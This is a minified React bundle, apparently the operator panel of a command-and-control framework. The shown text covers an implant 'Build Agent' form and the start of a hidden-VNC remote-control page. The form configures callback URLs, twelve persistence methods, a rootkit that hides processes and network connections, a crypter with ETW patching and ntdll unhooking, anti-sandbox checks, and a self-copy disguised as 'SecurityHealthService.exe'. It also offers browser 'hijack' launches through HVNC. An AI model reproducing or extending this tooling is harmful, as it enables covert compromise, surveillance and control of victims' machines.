0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:R3[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:$A(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function w2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` + px-3 py-1 text-xs font-medium border transition-all duration-150 + ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} + `,children:e})}const j2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function k2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const N2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],YU=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function GU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(o5,s5),g=x.status==="building",[y,v]=p.useState(k2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,O]=p.useState(""),[_,T]=p.useState(j2),[P,R]=p.useState(!1),[V,$]=p.useState("exe"),[L,W]=p.useState(0),[B,U]=p.useState(!0),[F,H]=p.useState(!0),[G,re]=p.useState(!0),[oe,he]=p.useState(!0),[pe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[E,X]=p.useState("SecurityHealthService.exe"),[I,ne]=p.useState(null),me=p.useCallback(async()=>{try{const K=await TE();t(K)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{me(),ME().then(K=>{w(J=>J.length===1&&J[0]===""?[K.default_callback_url]:J)}).catch(()=>{})},[me]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const K=setInterval(()=>{const le=Math.floor((Date.now()-x.startedAt)/1e3);u(le);const q=Math.min(95,Math.floor(100*(1-Math.exp(-le/50))));l(q)},500),J=Math.floor((Date.now()-x.startedAt)/1e3);return u(J),l(Math.min(95,Math.floor(100*(1-Math.exp(-J/50))))),()=>clearInterval(K)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Rg(),me()):x.status==="error"&&(f(x.error||"Failed to build payload"),Rg())},[x.status]),p.useEffect(()=>{if(!m)return;const K=setTimeout(()=>h(""),4e3);return()=>clearTimeout(K)},[m]);function ve(){v(k2()),k("30"),N("25"),O(""),T(j2),R(!1),$("exe"),W(0),U(!0),H(!0),re(!0),he(!0),Y(1),C("Microsoft\\WindowsUpdate"),X("SecurityHealthService.exe")}async function Ee(K){K.preventDefault(),f("");const J=b.filter(Q=>Q.trim()!=="");let le=0;z&&(le=Math.floor(new Date(z).getTime()/1e3));const q={name:y.trim(),callback_urls:J,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:le,user_agent:_.trim(),output_format:V,debug:P,persist_methods:L||void 0,rootkit_enabled:B,encryption_enabled:F,anti_vm:G,auto_elevate:oe,install_dir:pe,install_subdir:ee,install_filename:E};kA(q.name);try{await OE(q),NA(),ve()}catch(Q){Q instanceof ai?Dg(Q.message):Dg("Failed to build payload")}}async function D(K){const J=et();if(!J){f("Not authenticated");return}try{const le=await fetch(`/api/payloads/${K.payload_id}/download`,{headers:{Authorization:`Bearer ${J}`}});if(!le.ok){f("Download failed");return}const q=await le.blob(),Q=URL.createObjectURL(q),ue=document.createElement("a");ue.href=Q;const A=le.headers.get("content-disposition"),se=A==null?void 0:A.match(/filename="(.+?)"/);ue.download=(se==null?void 0:se[1])||`${K.name||"payload"}.exe`,document.body.appendChild(ue),ue.click(),document.body.removeChild(ue),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function ce(K){try{await LE(K),ne(null),me()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` + text-sm font-medium px-4 py-2 transition-all duration-150 + ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} + `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:Ee,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(ar,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:K=>v(K.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(ar,{label:"Output Format",children:s.jsxs("select",{value:V,onChange:K=>{const J=K.target.value;$(J),J==="exe"&&W(le=>le&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(ar,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:K=>k(K.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(ar,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:K=>N(K.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r + [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r + [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r + [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r + [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(ar,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:K=>O(K.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200\r + [color-scheme:dark]`})})]}),s.jsx(ar,{label:"User Agent",children:s.jsx("input",{type:"text",value:_,onChange:K=>T(K.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),s.jsx(ar,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:YU.map(K=>{const J=K.dllOnly&&V==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${J?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(L&K.flag)!==0,disabled:J,onChange:le=>{W(le.target.checked?L|K.flag:L&~K.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:K.label}),K.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),J&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},K.flag)})})}),s.jsx(ar,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:pe,onChange:K=>Y(parseInt(K.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:K=>C(K.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:E,onChange:K=>X(K.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),s.jsxs(ar,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:B,onChange:K=>U(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:F,onChange:K=>H(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${F?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:G,disabled:!F,onChange:K=>re(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:oe,onChange:K=>he(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>R(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(N2.filter(K=>K.at<=o).pop()??N2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(K=>{let J={};try{J=JSON.parse(K.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:K.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:K.agent_pubkey,children:[(K.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:K.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:wo(K.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:ym(K.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>D(K),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),I===K.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>ce(K.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ne(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ne(K.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},K.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ar({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const XU=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function ZU(){const{id:e}=Vo(),[t]=fx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,O]=p.useState({w:0,h:0}),[,_]=p.useState(""),[T,P]=p.useState(null),[R,V]=p.useState(!1),[$,L]=p.useState(!1),W=p.useRef(!1),[B,U]=p.useState({w:0,h:0});p.useEffect(()=>{const q=l.current;if(!q)return;const Q=new ResizeObserver(ue=>{const A=ue[0];A&&U({w:A.contentRect.width,h:A.contentRect.height})});return Q.observe(q),()=>Q.disconnect()},[]);const F=p.useMemo(()=>{if(z.w<=0||z.h<=0||B.w<=0||B.h<=0)return null;const q=Math.min(B.w/z.w,B.h/z.h);return{width:Math.floor(z.w*q),height:Math.floor(z.h*q)}},[z,B]),H=p.useRef({x:0,y:0,w:0,h:0}),G=p.useRef(null),re=p.useCallback((q,Q)=>{const ue=a.current;if(!ue)return;G.current||(G.current=ue.getContext("2d"));const A=G.current;if(!A)return;const se=H.current;if(se.w>0&&A.clearRect(se.x,se.y,se.w,se.h),q<0||Q<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:q-1,y:Q-1,w:16,h:24},A.save(),A.beginPath(),A.moveTo(q,Q),A.lineTo(q,Q+18),A.lineTo(q+5,Q+14),A.lineTo(q+9,Q+21),A.lineTo(q+12,Q+20),A.lineTo(q+8,Q+13),A.lineTo(q+13,Q+12),A.closePath(),A.fillStyle="white",A.fill(),A.strokeStyle="black",A.lineWidth=1,A.stroke(),A.restore()},[]),oe=p.useCallback((q,Q)=>{const ue=a.current;if(!ue)return;const A=ue.getContext("2d");A&&(A.save(),A.beginPath(),A.arc(q,Q,12,0,Math.PI*2),A.strokeStyle="rgba(6, 182, 212, 0.7)",A.lineWidth=2,A.stroke(),A.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{re(u.current.x,u.current.y)},150))},[re]),he=p.useCallback((q,Q,ue,A,se)=>{W.current||(W.current=!0,L(!0)),O({w:Q,h:ue});const te=i.current;if(!te)return;const de=te.getContext("2d");if(!de)return;(te.width!==Q||te.height!==ue)&&(te.width=Q,te.height=ue);const ge=a.current;if(ge&&(ge.width!==Q||ge.height!==ue)&&(ge.width=Q,ge.height=ue,G.current=null),typeof q=="string"){const Ne=c.current||new Image;c.current=Ne,Ne.onload=()=>{de.drawImage(Ne,0,0)},Ne.src=q}else q instanceof ImageBitmap?(de.drawImage(q,0,0),q.close()):de.drawImage(q,0,0)},[r]),pe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:E,disconnect:X}=cv({agentId:e||"",mode:n,onFrame:he,onDisconnect:pe});p.useEffect(()=>{e&&E()},[e,E]);const I=p.useCallback(q=>{const Q=a.current,ue=i.current;if(!Q||!ue||z.w===0)return{x:0,y:0};const A=Q.getBoundingClientRect(),se=ue.width/A.width,te=ue.height/A.height;return{x:Math.min(Math.max(Math.round((q.clientX-A.left)*se),0),ue.width-1),y:Math.min(Math.max(Math.round((q.clientY-A.top)*te),0),ue.height-1)}},[z]),ne=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);u.current={x:Q,y:ue};const A=performance.now();A-f.current>=33&&(f.current=A,C.sendMouseMove(Q,ue)),re(Q,ue)},[m,y,I,C,re]),me=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);C.sendMouseButton(q.button,1,Q,ue),oe(Q,ue)},[m,y,I,C,oe]),ve=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);C.sendMouseButton(q.button,0,Q,ue)},[m,y,I,C]),Ee=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q),A=q.deltaY>0?-120:120;C.sendMouseScroll(A,Q,ue)},[m,y,I,C]);p.useEffect(()=>{if(!x||y)return;const q=(A,se)=>{A.preventDefault(),A.stopPropagation();const te=A.keyCode||0;C.sendKey(se,te,0)},Q=A=>q(A,1),ue=A=>q(A,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",ue,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",ue,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const D=p.useCallback(q=>{w(q),C.setQuality(q)},[C]),ce=p.useCallback(async()=>{try{const q=await navigator.clipboard.readText();q&&C.sendClipboard(q)}catch{}},[C]),K=p.useCallback(()=>{var q,Q;(Q=(q=o.current)==null?void 0:q.requestFullscreen)==null||Q.call(q)},[]),J=p.useCallback(async()=>{if(X(),e)try{r?await DE(e):await IE(e)}catch{}window.close()},[e,X,r]),le=p.useCallback(async q=>{if(!(!e||!q.trim())){P(null);try{await RE(e,q.trim(),R),P(`Launched ${q.trim()}${R?" (hijack)":""}`),_(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof 